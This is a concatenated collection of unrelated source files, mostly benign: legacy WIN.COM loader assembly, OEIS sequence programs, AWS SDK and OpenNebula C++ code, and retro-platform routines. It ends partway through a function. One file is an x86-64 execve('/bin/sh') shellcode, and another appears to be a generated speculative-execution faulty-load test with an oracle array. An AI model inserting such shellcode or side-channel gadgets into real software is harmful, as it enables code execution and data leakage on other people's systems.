cProc ExecPathname,<PUBLIC,NEAR>,<ds>
ParmD NameBuffer
LocalW pPure
cBegin
call GetWindowsPath ; initialize WinPath
lds dx,NameBuffer
call ExecFile ; is it in current directory?
epn1: call FindPath
jnz epn8
epn4: push cs
pop es
mov di,codeOffset WinPath
cmp byte ptr [si+1],":" ; was drive specified?
jz epn5
mov ah,19h
int 21h
add al,'A'
mov ah,":"
stosw
epn5: lodsb
stosb
cmp al,";"
jz epn6
or al,al
jnz epn5
dec si
epn6: mov al,'\'
cmp es:[di-2],al
jnz epn6a
dec di
epn6a: mov es:[di-1],al
push ds
push si
lds si,NameBuffer
epn7: lodsb
stosb
or al,al
jnz epn7
push cs
pop ds
mov dx,codeOffset WinPath
call ExecFile
pop si
pop ds
mov dx,codeOffset msg386
jnc epnx
epn7a: cmp byte ptr [si],0
jnz epn4
epn8:
mov dx,codeOffset msgBoot
epnx:
cEnd
public ExecFile
;
; Try to run the com program who name is at DS:DX
;
ExecFile:
mov ax,4300H ; Novell uses non standard open code...
int 21H ; ...so we do this call to see if it's...
jc efx ; ...around
mov ax,3d00H ; try to open
int 21h
jnc BootComFile
efx: ret
BootComFile:
mov si,ax ; save file handle
mov bx,ax
mov di,dx
push ds
pop es
mov cx,-1
xor ax,ax
repne scasb
cmp word ptr [di-5],"C."
jnz BootExeFile
;
; We really are going to start up WIN.COM. If we can manage to fit
; the current directory into the enviroment argv[0], let's do so.
;
push ds
push bx
call FindAppName
pop bx
pop ax
jc ef1 ; not there, don't worry.
add cx,si
add cx,15
and cx,0FFF0H
sub cx,si ; cx has the amount of room to...
dec cx ; ...play with (dec cx for null termination)
mov di,si
mov si,dx
push ds
pop es
mov ds,ax
;
; Let's see if we can trim a little room by removing the drive letter...
;
cmp byte ptr ds:[si+1],":"
jnz ef0
mov ah,19H
int 21H
add al,"A"
cmp al,ds:[si]
jnz ef0
add si,2
ef0:
lodsb
stosb
or al,al
jz ef1 ; did we copy the whole thing?
loop ef0
; if we're here, Windows path is longer than space in argv[0]
mov ah,3EH ; close file
int 21H
stc ; error loading win.com
ret
ef1:
mov cx,ss
mov ds,cx
mov es,cx
mov si,5cH
mov word ptr [si+ 0],0FEBCH ; "MOV SP,FFFEH"
mov word ptr [si+ 2],0CDFFH ; "INT 21H"
mov word ptr [si+ 4],0B421H ; "MOV AH,3eH"
mov word ptr [si+ 6],0CD3EH ; "INT 21H"
mov word ptr [si+ 8],0E921H ; "JMP 100"
mov word ptr [si+10],00098H
mov word ptr [si+0feh-5cH],0000H ; cancel out 'WY'
mov dx,100H
mov cx,0FFFFH ; read this many bytes
mov ah,3FH
push ss
push si
xxx proc far
ret
xxx endp
;
; Trying to boot WIN200.BIN. If WIN86.COM is present, give up.
;
BootExeFile:
mov word ptr [di-8],"68"
mov word ptr [di-6],"C."
mov word ptr [di-4],"MO"
mov byte ptr [di-2],0
mov ax,3d00H
int 21H
mov cx,word ptr [szWin2+3]
mov word ptr [di-8],cx
mov cx,word ptr [szWin2+5]
mov word ptr [di-6],cx
mov cx,word ptr [szWin2+7]
mov word ptr [di-4],cx
mov cx,word ptr [szWin2+9]
mov word ptr [di-2],cx
mov cx,ss
mov ds,cx
mov es,cx
mov bx,si
jc bef1
ret
bef1:
push bx
or cs:EMSFlags[1],EMSF1_ADVANCED_OFF ; no advanced EMS
call Test_EMS
call CopyWindowsPath
call InitTandy1000
pop bx
push ss
pop ds
;
; Load in exe header just past the stack
;
mov si,codeOffset LastByte+StackSize+256
mov dx,si
mov cx,512
mov ah,3FH
int 21H ; read in exe header
;
; To various checks to make us feel good we have what we want
;
cmp ax,512
jnz BadFile
cmp [si+00H],5A4DH
jnz BadFile
mov ax,[si+06H]
or ax,[si+0AH]
or ax,[si+0CH]
jz GoodFile
BadFile:
stc
ret
GoodFile:
mov ax,[si+04H]
dec ax
mov cl,5
shl ax,cl ; file is this many paragraphs
mov di,word ptr ds:[2]
sub di,ax
mov bp,di
LoadFileLoop:
mov ds,di
add di,60*(1024/16)
mov cx,60*1024
xor dx,dx
mov ah,3Fh
int 21H
jc BadFile
cmp ax,cx
jz LoadFileLoop
;
; Its all loaded in, now just start it up!
;
mov ah,3eH ; be nice and close the file
int 21H
push ss
pop ds
mov dx,bp ; starting seg
add dx,[si+16H] ; relocate cs
mov cx,word ptr [si+14H]
mov ax,bp
add ax,[si+0EH]
mov ss,ax
mov sp,[si+10H]
push dx
push cx
yyy proc far
ret
yyy endp
;--------------------------------
;
; Find Enviroment String, DI points to string, CX contains length
;
; On return ZF=1 if string found, DS:SI points at string
; Otherwise ZF=0
;
FindPath:
mov di,codeOffset szPath
push ds
pop es
mov cx,5 ; length of string including =
mov ds,word ptr ss:[2CH] ; get segment of enviroment
xor si,si
fpa1: push cx
push di
repz cmpsb
pop di
pop cx
jz fpa3
fpa2: lodsb
or al,al
jnz fpa2
cmp byte ptr [si],0
jnz fpa1
or cx,cx ; ZF=0
fpa3: ret
;--------------------------------
;
; Find Application name.
;
; On entry DS:SI points to the default name to use, CX has length
; On return DS:SI points to the app name, CX has length
;
FindAppName:
mov ah,30h
int 21h
cmp al,3
jae fan1
ret
fan1:
mov es,word ptr ss:[2CH] ; get segment of enviroment
mov cx,0FFFFH
xor di,di
xor al,al
fan2:
repne scasb
cmp es:[di],al
jnz fan2
add di,3
push es
pop ds
mov si,di
;
; At this point ds:si should be pointing at null terminated app name
;
GetLength:
mov cx,-1
repne scasb
inc cx
not cx ; cx has the length
ret
public GetWindowsPath
GetWindowsPath:
cld
mov ax,cs
mov ds,ax
mov es,ax
mov di,codeOffset WinPath
mov ah,19h
int 21h
add al,'A'
stosb
mov ax,'\:'
stosw
mov si,di
xor dx,dx
mov ah,47h
int 21h
mov si,codeOffset WinPath
gwn1:
lodsb
or al,al
jnz gwn1
mov al,'\'
cmp [si-2],al
jnz gwn1a
dec si
gwn1a: mov [si-1],al
mov di,si
lds si,NameBuffer
gwn2: lodsb
stosb
or al,al
jnz gwn2
ret
InitTandy1000:
mov ax,0F000H ; point to ROM
mov ds,ax
cmp byte ptr ds:[0FFFEH],0FFH
jnz NoTandy1000
cmp byte ptr ds:[0C000H],021H
jnz NoTandy1000
int 12H
cmp ax,640
jnc NoTandy1000
push ss
pop es
mov ah,4aH
mov bx,0FFFFH
int 21H
sub bx,(16*1024)/16+1
sub ss:[2],(16*1024)/16+1
mov ah,4aH
int 21H
mov bx,(16*1024)/16
mov ah,48H
int 21H
NoTandy1000:
ret
CopyWindowsPath:
push cs
pop es
mov si,codeOffset WinPath ; point to fully qualified name
mov di,si ; compute the length...
mov cx,-1
xor ax,ax
repne scasb
not cx ; ...including null
push ss
pop ds
mov di,80h
xor ax,ax
mov al,ds:[di] ; Get length of command line
add al,cl ; followed by length of name
add ax,3 ; plus 'WX' flag, count byte
sub ax,7Eh
jle ew1
sub ds:[di],al ; Trim command line
ew1:
push ss
pop es
xor ax,ax
mov al,ds:[di] ; Get length of command line
inc di ; Skip byte count
add di,ax ; Skip command line
mov al,0Dh ; Terminate with CR
stosb
mov ax,cx ; followed by file name only
stosb ; save the path
push cs
pop ds
rep movsb ; move the name into the command line
ret
include winemscs.asm
even
LastByte:
sEnd
createSeg STACK,stack,word,stack,STACK
sBegin stack
dw 128 dup (?)
sEnd stack
end
|
; A040272: Continued fraction for sqrt(290).
; Submitted by Christian Krause
; 17,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34
min $0,1
add $0,1
mul $0,17
|
/*
* Copyright 2010-2016 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
#include <aws/storagegateway/model/ChapInfo.h>
#include <aws/core/utils/json/JsonSerializer.h>
#include <utility>
using namespace Aws::Utils::Json;
using namespace Aws::Utils;
namespace Aws
{
namespace StorageGateway
{
namespace Model
{
ChapInfo::ChapInfo() :
m_targetARNHasBeenSet(false),
m_secretToAuthenticateInitiatorHasBeenSet(false),
m_initiatorNameHasBeenSet(false),
m_secretToAuthenticateTargetHasBeenSet(false)
{
}
ChapInfo::ChapInfo(const JsonValue& jsonValue) :
m_targetARNHasBeenSet(false),
m_secretToAuthenticateInitiatorHasBeenSet(false),
m_initiatorNameHasBeenSet(false),
m_secretToAuthenticateTargetHasBeenSet(false)
{
*this = jsonValue;
}
ChapInfo& ChapInfo::operator =(const JsonValue& jsonValue)
{
if(jsonValue.ValueExists("TargetARN"))
{
m_targetARN = jsonValue.GetString("TargetARN");
m_targetARNHasBeenSet = true;
}
if(jsonValue.ValueExists("SecretToAuthenticateInitiator"))
{
m_secretToAuthenticateInitiator = jsonValue.GetString("SecretToAuthenticateInitiator");
m_secretToAuthenticateInitiatorHasBeenSet = true;
}
if(jsonValue.ValueExists("InitiatorName"))
{
m_initiatorName = jsonValue.GetString("InitiatorName");
m_initiatorNameHasBeenSet = true;
}
if(jsonValue.ValueExists("SecretToAuthenticateTarget"))
{
m_secretToAuthenticateTarget = jsonValue.GetString("SecretToAuthenticateTarget");
m_secretToAuthenticateTargetHasBeenSet = true;
}
return *this;
}
JsonValue ChapInfo::Jsonize() const
{
JsonValue payload;
if(m_targetARNHasBeenSet)
{
payload.WithString("TargetARN", m_targetARN);
}
if(m_secretToAuthenticateInitiatorHasBeenSet)
{
payload.WithString("SecretToAuthenticateInitiator", m_secretToAuthenticateInitiator);
}
if(m_initiatorNameHasBeenSet)
{
payload.WithString("InitiatorName", m_initiatorName);
}
if(m_secretToAuthenticateTargetHasBeenSet)
{
payload.WithString("SecretToAuthenticateTarget", m_secretToAuthenticateTarget);
}
return payload;
}
} // namespace Model
} // namespace StorageGateway
} // namespace Aws |
l2_initialise: nextreg LAYER2_RAM_PAGE_REGISTER, LAYER2_SCREEN_BANK1
nextreg LAYER2_RAM_SHADOW_REGISTER, LAYER2_SHADOW_BANK1
nextreg TRANSPARENCY_COLOUR_REGISTER, COLOUR_TRANSPARENT
ret
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r15
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x1b1e1, %rsi
lea addresses_D_ht+0x11d61, %rdi
nop
nop
nop
cmp %rax, %rax
mov $78, %rcx
rep movsb
nop
add $34923, %rbp
lea addresses_WC_ht+0x4941, %rsi
lea addresses_D_ht+0xeed1, %rdi
nop
nop
inc %r11
mov $17, %rcx
rep movsb
nop
nop
nop
nop
cmp %rdi, %rdi
lea addresses_D_ht+0x139a1, %rdi
and %rsi, %rsi
movw $0x6162, (%rdi)
cmp %rax, %rax
lea addresses_A_ht+0x1b7a, %rax
nop
sub $34419, %r15
mov (%rax), %ebp
and $54977, %rbp
lea addresses_A_ht+0xdab6, %rcx
nop
nop
nop
nop
add %rbp, %rbp
mov (%rcx), %r11d
nop
nop
cmp %r11, %r11
lea addresses_WT_ht+0x15e21, %rax
clflush (%rax)
nop
nop
nop
add $60601, %r15
mov $0x6162636465666768, %rbp
movq %rbp, %xmm0
vmovups %ymm0, (%rax)
nop
nop
nop
xor $2574, %rsi
lea addresses_WC_ht+0xf7f5, %rsi
nop
nop
inc %rbp
movw $0x6162, (%rsi)
nop
nop
nop
nop
and $46348, %rbp
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r15
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r15
push %r8
push %rbp
push %rbx
push %rdx
// Store
mov $0x7d334b0000000ea1, %r15
nop
nop
nop
nop
nop
dec %r14
movb $0x51, (%r15)
// Exception!!!
nop
mov (0), %r15
nop
nop
nop
nop
xor %rbp, %rbp
// Store
mov $0xb59bd0000000ca1, %rbp
nop
nop
nop
cmp %rdx, %rdx
mov $0x5152535455565758, %r15
movq %r15, %xmm3
vmovups %ymm3, (%rbp)
nop
nop
nop
xor %rbx, %rbx
// Load
lea addresses_WT+0xd161, %r15
nop
nop
cmp %r12, %r12
mov (%r15), %rbx
nop
nop
nop
nop
sub %rdx, %rdx
// Store
lea addresses_WC+0xfb51, %r8
dec %rbp
movw $0x5152, (%r8)
nop
nop
nop
add %rbx, %rbx
// Load
mov $0x451, %r8
nop
nop
nop
nop
sub %rbx, %rbx
vmovups (%r8), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $1, %xmm1, %rdx
nop
nop
nop
nop
xor %rbx, %rbx
// Store
lea addresses_UC+0x19da1, %rdx
inc %r14
movb $0x51, (%rdx)
nop
nop
nop
add $48205, %r8
// Store
mov $0x76e4310000000261, %r15
cmp $30889, %r8
movl $0x51525354, (%r15)
and %rbx, %rbx
// Faulty Load
lea addresses_WT+0x12961, %r12
and %r15, %r15
mov (%r12), %rbx
lea oracles, %rbp
and $0xff, %rbx
shlq $12, %rbx
mov (%rbp,%rbx,1), %rbx
pop %rdx
pop %rbx
pop %rbp
pop %r8
pop %r15
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 8, 'AVXalign': True, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_P', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 2, 'AVXalign': True, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'00': 1102}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
bits 64
section .text
global _start
_start:
jmp jmp_call64
call_back64:
pop rsi
mov rax, 59
mov rdi, rsi ; *filename
mov rsi, 0 ; *argv
mov rdx, 0 ; *envp
syscall
; exit
xor rdi,rdi ; zero rdi (rdi hold return value)
mov rax, 0x3c ; set syscall number to 60 (0x3c hex)
syscall ; call kernel
jmp_call64:
call call_back64
file db "/bin/sh",0
|
; A061483: Numerator of 1 + 1/2 + 2/3 + 3/4 + ... + (n-1)/n.
; Submitted by Jon Maiga
; 1,1,3,13,35,223,91,757,1759,18071,20339,248929,274339,3899047,4233667,4570003,9815681,178398097,63323219,1276654601,270074449,94951643,99889667,2411272037,7575891845,197964062333,206544557333
mov $1,1
lpb $0
mov $2,$0
mul $2,2
add $3,$1
mul $3,$0
sub $0,1
add $2,$0
add $2,1
sub $3,$1
mul $1,$2
mul $3,3
lpe
add $1,$3
gcd $3,$1
div $1,$3
mov $0,$1
|
INCLUDE "clib_cfg.asm"
SECTION code_clib
SECTION code_stdio
PUBLIC __stdio_input_sm_gets
__stdio_input_sm_gets:
; GETS STATE MACHINE
;
; Qualify function for STDIO_MSG_EATC
;
; Write all chars up to but not including '\n'
; to the buffer. '\n' is rejected to cause
; immediate return to the caller so the caller
; must remove the '\n' from the stream.
;
; set-up: hl = state machine function address
; de = char *s = destination array
;
; return: de = void *s_ptr (address past last byte written)
; l = 1 if caller should remove \n
cp CHAR_LF ; '\n'
jr z, delim_met
ld (de),a ; write char to buffer
inc de
or a ; indicate accepted
ret
delim_met:
ld l,1 ; indicate to caller to remove \n
scf ; reject char for immediate return
ret
|
/* -------------------------------------------------------------------------- */
/* Copyright 2002-2020, OpenNebula Project, OpenNebula Systems */
/* */
/* Licensed under the Apache License, Version 2.0 (the "License"); you may */
/* not use this file except in compliance with the License. You may obtain */
/* a copy of the License at */
/* */
/* http://www.apache.org/licenses/LICENSE-2.0 */
/* */
/* Unless required by applicable law or agreed to in writing, software */
/* distributed under the License is distributed on an "AS IS" BASIS, */
/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. */
/* See the License for the specific language governing permissions and */
/* limitations under the License. */
/* -------------------------------------------------------------------------- */
#include "LifeCycleManager.h"
#include "TransferManager.h"
#include "DispatchManager.h"
#include "VirtualMachineManager.h"
#include "ImageManager.h"
void LifeCycleManager::start_prolog_migrate(VirtualMachine* vm)
{
HostShareCapacity sr;
time_t the_time = time(0);
//----------------------------------------------------
// PROLOG_MIGRATE STATE
//----------------------------------------------------
vm->set_state(VirtualMachine::PROLOG_MIGRATE);
if ( !vmm->is_keep_snapshots(vm->get_vmm_mad()) )
{
vm->delete_snapshots();
}
vm->set_previous_etime(the_time);
vm->set_previous_running_etime(the_time);
vmpool->update_previous_history(vm);
vm->set_prolog_stime(the_time);
vmpool->update_history(vm);
vmpool->update(vm);
vm->get_capacity(sr);
if ( vm->get_hid() != vm->get_previous_hid() )
{
hpool->del_capacity(vm->get_previous_hid(), sr);
}
vmpool->update(vm);
//----------------------------------------------------
tm->trigger(TMAction::PROLOG_MIGR,vm->get_oid());
}
void LifeCycleManager::revert_migrate_after_failure(VirtualMachine* vm)
{
HostShareCapacity sr;
time_t the_time = time(0);
//----------------------------------------------------
// RUNNING STATE FROM SAVE_MIGRATE
//----------------------------------------------------
vm->set_state(VirtualMachine::RUNNING);
vm->set_etime(the_time);
vmpool->update_history(vm);
vm->get_capacity(sr);
if ( vm->get_hid() != vm->get_previous_hid() )
{
hpool->del_capacity(vm->get_hid(), sr);
}
vm->set_previous_etime(the_time);
vm->set_previous_running_etime(the_time);
vmpool->update_previous_history(vm);
// --- Add new record by copying the previous one
vm->cp_previous_history();
vm->set_stime(the_time);
vm->set_running_stime(the_time);
vmpool->insert_history(vm);
vmpool->update(vm);
vm->log("LCM", Log::INFO, "Fail to save VM state while migrating."
" Assuming that the VM is still RUNNING.");
}
/* -------------------------------------------------------------------------- */
/* -------------------------------------------------------------------------- */
void LifeCycleManager::save_success_action(int vid)
{
VirtualMachine * vm;
ostringstream os;
vm = vmpool->get(vid);
if ( vm == nullptr )
{
return;
}
if ( vm->get_lcm_state() == VirtualMachine::SAVE_MIGRATE )
{
start_prolog_migrate(vm);
}
else if (vm->get_lcm_state() == VirtualMachine::SAVE_SUSPEND)
{
//----------------------------------------------------
// SUSPENDED STATE
//----------------------------------------------------
if ( !vmm->is_keep_snapshots(vm->get_vmm_mad()) )
{
vm->delete_snapshots();
vmpool->update(vm);
}
//----------------------------------------------------
dm->trigger(DMAction::SUSPEND_SUCCESS,vid);
}
else if ( vm->get_lcm_state() == VirtualMachine::SAVE_STOP)
{
time_t the_time = time(0);
//----------------------------------------------------
// EPILOG_STOP STATE
//----------------------------------------------------
vm->set_state(VirtualMachine::EPILOG_STOP);
if ( !vmm->is_keep_snapshots(vm->get_vmm_mad()) )
{
vm->delete_snapshots();
}
vm->set_epilog_stime(the_time);
vm->set_running_etime(the_time);
vmpool->update_history(vm);
vmpool->update(vm);
//----------------------------------------------------
tm->trigger(TMAction::EPILOG_STOP,vid);
}
else
{
vm->log("LCM",Log::ERROR,"save_success_action, VM in a wrong state");
}
vm->unlock();
}
/* -------------------------------------------------------------------------- */
/* -------------------------------------------------------------------------- */
void LifeCycleManager::save_failure_action(int vid)
{
VirtualMachine * vm;
vm = vmpool->get(vid);
if ( vm == nullptr )
{
return;
}
if ( vm->get_lcm_state() == VirtualMachine::SAVE_MIGRATE )
{
revert_migrate_after_failure(vm);
}
else if ( vm->get_lcm_state() == VirtualMachine::SAVE_SUSPEND ||
vm->get_lcm_state() == VirtualMachine::SAVE_STOP )
{
//----------------------------------------------------
// RUNNING STATE FROM SAVE_SUSPEND OR SAVE_STOP
//----------------------------------------------------
vm->set_state(VirtualMachine::RUNNING);
vm->clear_action();
vmpool->update_history(vm);
vmpool->update(vm);
vm->log("LCM", Log::INFO, "Fail to save VM state."
" Assuming that the VM is still RUNNING.");
}
else
{
vm->log("LCM",Log::ERROR,"save_failure_action, VM in a wrong state");
}
vm->unlock();
}
/* -------------------------------------------------------------------------- */
/* -------------------------------------------------------------------------- */
void LifeCycleManager::deploy_success_action(int vid)
{
VirtualMachine * vm;
vm = vmpool->get(vid);
if ( vm == nullptr )
{
return;
}
//----------------------------------------------------
// RUNNING STATE
//----------------------------------------------------
if ( vm->get_lcm_state() == VirtualMachine::MIGRATE )
{
HostShareCapacity sr;
time_t the_time = time(0);
vm->set_running_stime(the_time);
vmpool->update_history(vm);
vm->set_previous_etime(the_time);
vm->set_previous_running_etime(the_time);
vmpool->update_previous_history(vm);
vm->get_capacity(sr);
hpool->del_capacity(vm->get_previous_hid(), sr);
vm->set_state(VirtualMachine::RUNNING);
if ( !vmm->is_keep_snapshots(vm->get_vmm_mad()) )
{
vm->delete_snapshots();
}
vmpool->update(vm);
}
else if ( vm->get_lcm_state() == VirtualMachine::BOOT ||
vm->get_lcm_state() == VirtualMachine::BOOT_POWEROFF ||
vm->get_lcm_state() == VirtualMachine::BOOT_UNKNOWN ||
vm->get_lcm_state() == VirtualMachine::BOOT_SUSPENDED||
vm->get_lcm_state() == VirtualMachine::BOOT_STOPPED ||
vm->get_lcm_state() == VirtualMachine::BOOT_UNDEPLOY ||
vm->get_lcm_state() == VirtualMachine::BOOT_MIGRATE ||
vm->get_lcm_state() == VirtualMachine::BOOT_MIGRATE_FAILURE ||
vm->get_lcm_state() == VirtualMachine::BOOT_STOPPED_FAILURE ||
vm->get_lcm_state() == VirtualMachine::BOOT_UNDEPLOY_FAILURE ||
vm->get_lcm_state() == VirtualMachine::BOOT_FAILURE )
{
if ( vm->get_lcm_state() == VirtualMachine::BOOT_SUSPENDED ||
vm->get_lcm_state() == VirtualMachine::BOOT_POWEROFF )
{
vm->set_previous_etime(time(0));
vm->set_previous_running_etime(time(0));
vmpool->update_previous_history(vm);
}
vm->set_state(VirtualMachine::RUNNING);
vm->clear_action();
vmpool->update_history(vm);
vmpool->update(vm);
}
else if ( vm->get_lcm_state() != VirtualMachine::RUNNING)
{
vm->log("LCM",Log::ERROR,"deploy_success_action, VM in a wrong state");
}
vm->unlock();
}
/* -------------------------------------------------------------------------- */
/* -------------------------------------------------------------------------- */
void LifeCycleManager::deploy_failure_action(int vid)
{
VirtualMachine * vm;
vm = vmpool->get(vid);
if ( vm == nullptr )
{
return;
}
if ( vm->get_lcm_state() == VirtualMachine::MIGRATE )
{
HostShareCapacity sr;
time_t the_time = time(0);
//----------------------------------------------------
// RUNNING STATE FROM MIGRATE
//----------------------------------------------------
vm->set_state(VirtualMachine::RUNNING);
vm->set_etime(the_time);
vmpool->update_history(vm);
vm->set_previous_etime(the_time);
vm->set_previous_running_etime(the_time);
vmpool->update_previous_history(vm);
vm->get_capacity(sr);
hpool->del_capacity(vm->get_hid(), sr);
// --- Add new record by copying the previous one
vm->cp_previous_history();
vm->set_stime(the_time);
vm->set_running_stime(the_time);
vmpool->insert_history(vm);
vmpool->update(vm);
vm->log("LCM", Log::INFO, "Fail to live migrate VM."
" Assuming that the VM is still RUNNING.");
}
else if (vm->get_lcm_state() == VirtualMachine::BOOT)
{
vm->set_state(VirtualMachine::BOOT_FAILURE);
vmpool->update(vm);
}
else if (vm->get_lcm_state() == VirtualMachine::BOOT_MIGRATE)
{
vm->set_state(VirtualMachine::BOOT_MIGRATE_FAILURE);
vmpool->update(vm);
}
else if (vm->get_lcm_state() == VirtualMachine::BOOT_UNKNOWN)
{
vm->set_state(VirtualMachine::UNKNOWN);
vmpool->update(vm);
}
else if (vm->get_lcm_state() == VirtualMachine::BOOT_POWEROFF)
{
vm->set_state(VirtualMachine::POWEROFF);
vm->set_state(VirtualMachine::LCM_INIT);
vmpool->update(vm);
}
else if (vm->get_lcm_state() == VirtualMachine::BOOT_SUSPENDED)
{
vm->set_state(VirtualMachine::SUSPENDED);
vm->set_state(VirtualMachine::LCM_INIT);
vmpool->update(vm);
}
else if (vm->get_lcm_state() == VirtualMachine::BOOT_STOPPED)
{
vm->set_state(VirtualMachine::BOOT_STOPPED_FAILURE);
